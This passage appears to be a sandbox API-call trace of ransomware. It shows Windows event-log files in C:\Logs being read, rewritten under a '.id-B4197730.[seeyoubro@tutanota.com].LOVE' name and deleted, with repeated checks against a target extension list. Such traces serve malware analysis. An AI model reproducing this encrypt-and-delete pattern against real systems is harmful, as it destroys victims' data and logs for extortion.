lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0202.875] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.875] WriteFile (in: hFile=0x35c, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x100, lpOverlapped=0x0) returned 1 [0202.875] SetEndOfFile (hFile=0x35c) returned 1 [0202.875] CloseHandle (hObject=0x35c) returned 1 [0202.877] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.877] SetEndOfFile (hFile=0x2f0) returned 1 [0202.879] CloseHandle (hObject=0x2f0) returned 1 [0202.879] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.879] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0202.880] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.885] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.885] lstrlenW (lpString=".doc") returned 4 [0202.885] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.885] lstrlenW (lpString=".docx") returned 5 [0202.885] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.885] lstrlenW (lpString=".pdf") returned 4 [0202.885] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.885] lstrlenW (lpString=".xls") returned 4 [0202.885] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.885] lstrlenW (lpString=".xlsx") returned 5 [0202.885] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.885] lstrlenW (lpString=".ppt") returned 4 [0202.885] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.885] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.885] lstrlenW (lpString=".zip") returned 4 [0202.885] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.885] lstrlenW (lpString=".rar") returned 4 [0202.886] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString=".bz2") returned 4 [0202.886] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString=".7z") returned 3 [0202.886] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.886] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.886] lstrlenW (lpString=".dbf") returned 4 [0202.886] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.886] lstrlenW (lpString=".1cd") returned 4 [0202.886] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.886] lstrlenW (lpString=".jpg") returned 4 [0202.886] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.886] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.886] lstrlenW (lpString=".doc") returned 4 [0202.886] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString=".docx") returned 5 [0202.886] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0202.886] lstrlenW (lpString=".pdf") returned 4 [0202.886] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString=".xls") returned 4 [0202.886] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0202.886] lstrlenW (lpString=".xlsx") returned 5 [0202.886] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0202.886] lstrlenW (lpString=".ppt") returned 4 [0202.887] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0202.887] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.887] lstrlenW (lpString=".zip") returned 4 [0202.887] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0202.887] lstrlenW (lpString=".rar") returned 4 [0202.887] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0202.887] lstrlenW (lpString=".bz2") returned 4 [0202.887] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0202.887] lstrlenW (lpString=".7z") returned 3 [0202.887] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0202.887] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.887] lstrlenW (lpString=".dbf") returned 4 [0202.887] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0202.887] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.887] lstrlenW (lpString=".1cd") returned 4 [0202.887] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0202.887] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0202.887] lstrlenW (lpString=".jpg") returned 4 [0202.887] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0202.887] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0202.887] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78 [0202.887] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0202.984] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0202.984] CloseHandle (hObject=0x2c4) returned 1 [0202.984] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20 [0202.984] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.984] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0202.985] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.985] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.985] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0202.987] GetLastError () returned 0x0 [0202.988] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.013] WriteFile (in: hFile=0x350, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.015] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.015] WriteFile (in: hFile=0x350, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x170, lpOverlapped=0x0) returned 1 [0203.015] SetEndOfFile (hFile=0x350) returned 1 [0203.015] CloseHandle (hObject=0x350) returned 1 [0203.018] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.018] SetEndOfFile (hFile=0x2c4) returned 1 [0203.019] CloseHandle (hObject=0x2c4) returned 1 [0203.020] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.020] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0203.021] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.021] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.021] lstrlenW (lpString=".doc") returned 4 [0203.021] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.021] lstrlenW (lpString=".docx") returned 5 [0203.021] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.021] lstrlenW (lpString=".pdf") returned 4 [0203.021] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.021] lstrlenW (lpString=".xls") returned 4 [0203.021] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.021] lstrlenW (lpString=".xlsx") returned 5 [0203.021] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.021] lstrlenW (lpString=".ppt") returned 4 [0203.021] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.021] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.021] lstrlenW (lpString=".zip") returned 4 [0203.021] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.021] lstrlenW (lpString=".rar") returned 4 [0203.021] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.021] lstrlenW (lpString=".bz2") returned 4 [0203.021] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.021] lstrlenW (lpString=".7z") returned 3 [0203.021] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.021] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.021] lstrlenW (lpString=".dbf") returned 4 [0203.022] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.022] lstrlenW (lpString=".1cd") returned 4 [0203.022] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.022] lstrlenW (lpString=".jpg") returned 4 [0203.022] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.022] lstrlenW (lpString=".doc") returned 4 [0203.022] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString=".docx") returned 5 [0203.022] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.022] lstrlenW (lpString=".pdf") returned 4 [0203.022] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString=".xls") returned 4 [0203.022] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString=".xlsx") returned 5 [0203.022] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.022] lstrlenW (lpString=".ppt") returned 4 [0203.022] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.022] lstrlenW (lpString=".zip") returned 4 [0203.022] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString=".rar") returned 4 [0203.022] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString=".bz2") returned 4 [0203.022] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.022] lstrlenW (lpString=".7z") returned 3 [0203.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.023] lstrlenW (lpString=".dbf") returned 4 [0203.023] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.023] lstrlenW (lpString=".1cd") returned 4 [0203.023] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86 [0203.023] lstrlenW (lpString=".jpg") returned 4 [0203.023] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.023] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.023] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0203.023] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0203.023] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0203.023] CloseHandle (hObject=0x2c4) returned 1 [0203.023] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0203.024] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.024] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0203.024] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.024] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.024] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0203.076] GetLastError () returned 0x0 [0203.076] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.117] WriteFile (in: hFile=0x350, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.119] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.119] WriteFile (in: hFile=0x350, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x134, lpOverlapped=0x0) returned 1 [0203.119] SetEndOfFile (hFile=0x350) returned 1 [0203.119] CloseHandle (hObject=0x350) returned 1 [0203.122] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.122] SetEndOfFile (hFile=0x2c4) returned 1 [0203.122] CloseHandle (hObject=0x2c4) returned 1 [0203.122] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.123] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0203.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.123] lstrlenW (lpString=".doc") returned 4 [0203.123] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.123] lstrlenW (lpString=".docx") returned 5 [0203.123] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.123] lstrlenW (lpString=".pdf") returned 4 [0203.123] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.123] lstrlenW (lpString=".xls") returned 4 [0203.123] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.123] lstrlenW (lpString=".xlsx") returned 5 [0203.123] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.123] lstrlenW (lpString=".ppt") returned 4 [0203.123] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.123] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.123] lstrlenW (lpString=".zip") returned 4 [0203.123] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.123] lstrlenW (lpString=".rar") returned 4 [0203.124] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString=".bz2") returned 4 [0203.124] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString=".7z") returned 3 [0203.124] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.124] lstrlenW (lpString=".dbf") returned 4 [0203.124] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.124] lstrlenW (lpString=".1cd") returned 4 [0203.124] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.124] lstrlenW (lpString=".jpg") returned 4 [0203.124] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.124] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.124] lstrlenW (lpString=".doc") returned 4 [0203.124] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString=".docx") returned 5 [0203.124] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0203.124] lstrlenW (lpString=".pdf") returned 4 [0203.124] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString=".xls") returned 4 [0203.124] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0203.124] lstrlenW (lpString=".xlsx") returned 5 [0203.124] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0203.124] lstrlenW (lpString=".ppt") returned 4 [0203.124] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0203.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.125] lstrlenW (lpString=".zip") returned 4 [0203.125] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0203.125] lstrlenW (lpString=".rar") returned 4 [0203.125] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0203.125] lstrlenW (lpString=".bz2") returned 4 [0203.125] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0203.125] lstrlenW (lpString=".7z") returned 3 [0203.125] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0203.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.125] lstrlenW (lpString=".dbf") returned 4 [0203.125] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0203.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.125] lstrlenW (lpString=".1cd") returned 4 [0203.125] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0203.125] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0203.125] lstrlenW (lpString=".jpg") returned 4 [0203.125] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0203.125] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0203.125] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0203.125] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0203.126] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0203.126] CloseHandle (hObject=0x2c4) returned 1 [0203.126] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0203.126] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.126] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0203.126] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.126] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.126] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0203.129] GetLastError () returned 0x0 [0203.129] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0203.285] WriteFile (in: hFile=0x350, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0203.287] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.287] WriteFile (in: hFile=0x350, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x144, lpOverlapped=0x0) returned 1 [0203.287] SetEndOfFile (hFile=0x350) returned 1 [0203.288] CloseHandle (hObject=0x350) returned 1 [0203.290] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.290] SetEndOfFile (hFile=0x2c4) returned 1 [0203.291] CloseHandle (hObject=0x2c4) returned 1 [0203.291] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0203.292] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0203.292] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.293] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0203.293] lstrlenW (lpString=".doc") returned 4 [0203.293] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0203.293] lstrlenW 